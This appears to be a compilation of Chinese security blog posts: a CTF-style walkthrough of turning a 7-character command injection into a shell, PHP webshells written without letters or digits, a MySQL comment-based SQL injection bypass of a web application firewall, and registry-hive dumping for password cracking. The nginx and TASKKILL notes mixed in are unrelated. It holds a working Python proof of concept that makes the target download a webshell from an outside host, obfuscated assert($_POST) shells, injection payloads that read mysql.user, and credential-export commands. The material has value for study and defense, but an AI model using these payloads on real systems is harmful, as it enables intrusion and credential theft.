从七个字符长度的任意命令执行到GetShell

看到phithon在圈子里发了个题,感觉好坑,记录一下我走过的套路:

此题的代码很简单,如下:

<?php
if(strlen($_GET[1])<8){
     echo shell_exec($_GET[1]);
}
?>

要求要getshell。

分析

1.直接写shell是不可能的,因为

1=echo 1>1

都8个字符了,已经超了2.下载一个shell也是不可行的,

1=wget a.cn

也超了。所以需要想其他的办法。@yichin告诉我,直接1=>filename,就可以创建文件,但是1=1>filename并没有办法把1写到文件中去,所以说这里只能够创建空文件,没有办法把内容写入到文件中去。可以利用的就只有文件名了。
利用文件名是否可以getshell呢??刚想到这里,yichin说这样1=ls >a,能否有办法写入个shell呢? 这句话一下子惊醒我了,我顿时明白了这里面套路。
思路是这样的:我们把一条长的命令拆分为多个小段,把每一段都存为文件名,然后用 1=ls >a,创建文件a,执行a来getshell。
但是有一个后遗症,就是你得想办法解决好多换行的问题,下面会详细说。
思路有了,接下来就是要动手啦,但是我却走了好多弯路,分别都说一下:
1. 开始我想把最短的shell,<?=$_GET[1];拆分为多个段,每段都做为文件名,然后ls一下重定向到一个php文件,就getshell了。想法很美好,但是现实很残酷1=ls >a.php长度都已经超了,所以不能直接写php文件。
2. 所以接下来就是想写个sh文件,执行sh文件来getshell,但是sh文件到底写啥命令?
是echo 一个shell到php文件,还是用wget下载一个shell呢。
经过我的测试 ,我发现echo一个shell貌似不行或者说很麻烦,搞了好久也没成功,主要是php语句换行的问题。
虽然php一条语句读到分号才算结束,中间可以有多个换行,换行不影响执行,但是换行也是都限度的,就是关键词是不可再拆分的,比如:

<?`
$_GET[1]
`;

这是可以运行的,没有问题,但是如果在$_GET[1]中任意一个地方添加一个换行,都是没办法运行的

<br /><?`
$_GET
[1]
`;

//无法运行
也就是说,$_GET[1]是没办法再拆分的,必须是一个整体。但是长度显然是超了。
接下来就只有最后一个方法了,下载一个shell了。
经过多次测试,发现下面sh文件是可以运行的:

wget\
 a.\
cn \
-O \
1.php

目的是到a.cn下载一个文件保存为1.php,就getshell了。
所以接下来我只需要把这个sh文件的每一行都存为一个文件名,然后ls >a,sh a,就坐等shell了。
(**注意:a.cn需要换成你的域名,自己做拆分的时候需要注意一点,.不能放在文件名开头,因为以.开头的文件名是隐藏文件,ls是列不出来的)最后还有一个问题,就是ls 列出来文件名是按照字符字典[a-z]的顺序排列的,不能得到我们想要的顺序,这时候想到了按照创建时间先后排序。
因为 ls -tr>a长度已经超了,所以只有用ls -t>a了。
ls -t列出来的文件顺序是:最后创建的文件在最前面,所以我们创建文件的时候要先创建最后一行1.php,最后创建文件wget\给个python写的POC:

#!/usr/bin/python
#-*- coding: utf-8 -*- 

import requests 
def GetShell():
    url = "http://192.168.56.129/shell.php?1="
    fileNames = ["1.php","-O\ \\","cn\ \\","\ a.\\","wget\\"] 
    # linux创建中间有空格的文件名,需要转义,所以有请求"cn\ \\"
    # 可以修改hosts文件,让a.cn指向一个自己的服务器。
    # 在a.cn 的根目录下创建index.html ,内容是一个php shell 

    for fileName in fileNames:
        createFileUrl = url+">"+fileName
        print createFileUrl 
        requests.get(createFileUrl)

    getShUrl = url + "ls -t>1"
    print getShUrl
    requests.get(getShUrl)
    getShellUrl = url + "sh 1"
    print getShellUrl
    requests.get(getShellUrl)

    shellUrl = "http://192.168.56.129/1.php"
    response = requests.get(shellUrl)
    if response.status_code == 200:
        print "[*] Get shell !"
    else :
        print "[*] fail!"

if __name__ == "__main__":
    GetShell()

via

Nginx 启动出错 error while loading shared libraries: libpcre.so.1

error while loading shared libraries: libpcre.so.1

启动 nginx 时报错:

/usr/local/nginx/sbin/nginx: error while loading shared libraries: libpcre.so.1: cannot open shared object file: No such file or directory

查看依赖库

ldd $(which /usr/local/nginx/sbin/nginx)
    linux-vdso.so.1 (0x00007ffff1599000)
    libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe954f5b000)
    libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fe954d3c000)
    libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1 (0x00007fe954b04000)
    libluajit-5.1.so.2 => /usr/local/lib/libluajit-5.1.so.2 (0x00007fe954894000)
    libpcre.so.1 => not found
    libssl.so.1.1 => /usr/lib/x86_64-linux-gnu/libssl.so.1.1 (0x00007fe95462a000)
    libcrypto.so.1.1 => /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1 (0x00007fe9541b2000)
    libz.so.1 => /usr/local/lib/libz.so.1 (0x00007fe953f94000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe953ba3000)
    /lib64/ld-linux-x86-64.so.2 (0x00007fe9554b0000)
    libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fe953805000)
    libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007fe9535ed000)

猜测可能有以下 3 种原因:

  1. 未安装 PCRE
  2. libpcre.so.1 名字不对
  3. 未设置 LD_LIBRARY_PATH

安装 PCRE,不用多说。安装完之后仍出现以上报错呢。?

find / -name libpcre.so.1 

发现找不到 libpcre.so.1 怎么办

到 /usr/local/lib 目录下查看

ls -l libpcre.so*
lrwxrwxrwx 1 root root     17 7月   4 09:06 libpcre.so -> libpcre.so.1.2.10
-rwxr-xr-x 1 root root 508296 7月   4 09:06 libpcre.so.1.2.10

发现原来是名字不对,遂设置软连接

ln -s /usr/local/lib/libpcre.so.1.2.10 libpcre.so.1

设置完软连接重启 nginx 发现仍然无法解决问题。

设置 LD_LIBRARY_PATH

export LD_LIBRARY_PATH=/usr/local/lib:$LD_LIBRARY_PATH

查看依赖库

ldd $(which /usr/local/nginx/sbin/nginx)
    linux-vdso.so.1 (0x00007ffda9323000)
    libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f01627f9000)
    libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f01625da000)
    libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1 (0x00007f01623a2000)
    libluajit-5.1.so.2 => /usr/local/lib/libluajit-5.1.so.2 (0x00007f0162132000)
    libpcre.so.1 => /usr/local/lib/libpcre.so.1 (0x00007f0161f14000)
    libssl.so.1.1 => /usr/lib/x86_64-linux-gnu/libssl.so.1.1 (0x00007f0161caa000)
    libcrypto.so.1.1 => /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1 (0x00007f0161832000)
    libz.so.1 => /usr/local/lib/libz.so.1 (0x00007f0161614000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0161223000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f0162d4e000)
    libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f0160e85000)
    libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f0160c6d000)

最终,问题解决。

一些不包含数字和字母的webshell

一些不包含数字和字母的webshell

在小密圈提了个问题,“如何编写一个不使用数字和字母的webshell”,并具体成如下代码:

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}

那么,这个代码如何利用?

思路

首先,明确思路。我的核心思路是,将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可。

那么,变换方法 将是解决本题的要点。

不过在此之前,我需要说说php5和7的差异。

php5中assert是一个函数,我们可以通过$f=’assert’;$f(…);这样的方法来动态执行任意代码。

但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。

下文为了方便起见,使用PHP5作为环境,PHP7相关的利用方法自己探索吧。

方法一

这是最简单、最容易想到的方法。在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

得到如下的结果(因为其中存在很多不可打印字符,所以我用url编码表示了):

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

执行结果如下:

方法二

和方法一有异曲同工之妙,唯一差异就是,方法一使用的是位运算里的“异或”,方法二使用的是位运算里的“取反”。

方法二利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如’和'{2}的结果是”\x8c”,其取反即为字母s:

利用这个特性,我找了一篇文章( https://www.leavesongs.com/THINK/answer.html ),自动选择了其中一些汉字,生成如下答案:

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

这个答案还利用了PHP的弱类型特性。因为要获取’和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是(‘>’>'<‘)+(‘>’>'<‘)==2。

方法三

那么,如果不用位运算这个套路,能不能搞定这题呢?有何不可。

这就得借助PHP的一个小技巧,先看文档: http://php.net/manual/zh/language.operators.increment.php

也就是说,’a’++ => ‘b’,’b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串’a’的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:

再取这个字符串的第一个字母,就可以获得’A’了。

利用这个技巧,我编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($POST[]),无需获取小写a):

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

执行结果:

via

MySQL注入时语句中的/*!0

1、MySQL < 5.1 畸形注入

安装:

mysql-5.0.22-win32.zip (MySQL 5.0.22-community-nt)

测试:

-1 UNION/*!50022SELECT user,version(),3,4,5,6,7/*!0from/*!0mysql.user

对于关键字 /*!50022SELECT, 当关键字前面的数字小于MySQL版本号时,便可以正常执行。
即/*!50022SELECT 正常执行,/*!50023SELECT 将出现语法错误。

 版本为5.0.22-community-nt,那么在注入payload的关键字前加上/*!50022 在执行过程中视为关键字本身,也即这种异常字符串可当作空格处理。

2、halfversionedmorekeywords.py 使用/*!0替换空格

def tamper(payload, **kwargs):
    """
    Adds versioned MySQL comment before each keyword

    Requirement:
        * MySQL < 5.1

    Tested against:
        * MySQL 4.0.18, 5.0.22

    Notes:
        * Useful to bypass several web application firewalls when the
          back-end database management system is MySQL
        * Used during the ModSecurity SQL injection challenge,
          http://modsecurity.org/demo/challenge.html

    >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
    "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
    """

    def process(match):
        word = match.group('word')
        if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
            return match.group().replace(word, "/*!0%s" % word)
        else:
            return match.group()

    retVal = payload

    if payload:
        retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal)
        retVal = retVal.replace(" /*!0", "/*!0")

    return retVal

3、Bypass #4 by Ahmad Maulana

Example Bypass Request

POST /Kelev/php/accttransaction.php HTTP/1.1
Host: www.modsecurity.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://www.modsecurity.org/Kelev/php/accttransaction.php
Cookie: PHPSESSID=bf65e6b31d8446e674acbe332cd3c75f;
Content-Type: application/x-www-form-urlencoded
Content-Length: 57

hUserId=22768&FromDate=1&ToDate=1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-&sendbutton1=Get+Statement

Bypass Analyis

Ahmad’s attack leveraged 2 attack techniques: 1) Unterminated Comments and, 2) MySQL Comment Extensions for conditional code execution.

Unterminated Comments

As mention prevoiusly, the t:replaceComments transformation function (with use of multiMatch) cased a severe false negative in the rules by hiding data from the final operator check.

MySQL Comment Extensions

The MySQL Comment documentation states to following about Comment Extensions:

MySQL Server supports some variants of C-style comments. These enable you to write code that includes MySQL extensions, but is still portable, by using comments of the following form:

/*! 
MySQL-specific code
 */

In this case, MySQL Server parses and executes the code within the comment as it would any other SQL statement, but other SQL servers will ignore the extensions. For example, MySQL Server recognizes theSTRAIGHT_JOIN keyword in the following statement, but other servers will not:

SELECT /*! STRAIGHT_JOIN */ col1 FROM table1,table2 WHERE ...

If you add a version number after the “!” character, the syntax within the comment is executed only if the MySQL version is greater than or equal to the specified version number. The TEMPORARY keyword in the following comment is executed only by servers from MySQL 3.23.02 or higher:

CREATE /*!32302 TEMPORARY */ TABLE t (a INT);

The comment syntax just described applies to how the mysqld server parses SQL statements.

4、参考

ModSecurity SQL Injection Challenge: Lessons Learned

Windows reg 导出离线密码分析

administrator 权限 3389

1、winloginhack

Winlogin 2008 及其以上版本无效

2、mimikatz

3、pwdump、fgdump 之类

注入 lsass.exe 进程,需绕杀软

4、reg 导出离线分析

administrator 权限,导出 HKLM 下的 SECURITY,SAM,SYSTEM

reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive

CAIN-Decoders-LSASecrets-导入 sam.hive、system.hive 直接读取明文(当前密码/历史密码)

CAIN-Cracker-LM&NTLMhashes-导入 sam.hive、system.hive (彩虹表)

win2K 以后都默认使用了 syskey

您需要 trustedinstaller 提供的权限才能对此文件夹进行更改

1、文件/文件属性-安全-高级-所有者-更改为 administrator

2、编辑 administrator 权限 当前权限为只读

3、添加 administrator 权限 完全控制

即可任意操作当前文件/文件夹。

win7 及其以上的系统推出的 trustedinstaller 权限是系统安全措施。当使用当前用户或者 administrator 组用户都无法删除的时候,就需要夺取【所有权】。

Windows 下 TASKLIST 、TASKKILL 、NTSD 的使用例子

1、TASKLIST

Examples:

TASKLIST 查看本机进程
TASKLIST /M 查看进程占用
TASKLIST /V /FO CSV
TASKLIST /SVC /FO LIST 查看进程服务
TASKLIST /APPS /FI "STATUS eq RUNNING"
TASKLIST /M wbem*
TASKLIST /S system /FO LIST
TASKLIST /S system /U 域\用户名 /FO CSV /NH
TASKLIST /S system /U username /P password /FO TABLE /NH 远程系统进程查看
TASKLIST /FI "USERNAME ne NT AUTHORITY\SYSTEM" /FI "STATUS eq running" 使用筛选器查看指定进程

2、TASKKILL

Examples:

TASKKILL /IM notepad.exe 关闭指定进程
TASKKILL /PID 1230 /PID 1241 /PID 1253 /T 关闭指定 PID 进程
TASKKILL /F /IM cmd.exe /T 强制关闭指定进程及子进程
TASKKILL /F /FI "PID ge 1000" /FI "WINDOWTITLE ne untitle*"
TASKKILL /F /FI "USERNAME eq NT AUTHORITY\SYSTEM" /IM notepad.exe
TASKKILL /S system /U 域\用户名 /FI "用户名 ne NT*" /IM *
TASKKILL /S system /U username /P password /FI "IMAGENAME eq note*"

一般先使用 TASKLIST 查看进程 PID,再使用 TASKKILL 查杀。

3、NTSD

win7 及之后的 Windows 版本系统没有自带 NTSD

1、利用进程的 PID 结束进程

命令格式:ntsd -c q -p pid

命令范例: ntsd -c q -p 1332 (结束explorer.exe进程)

2、利用进程名结束进程

命令格式:ntsd -c q -pn ***.exe (***.exe 为进程名,exe不能省)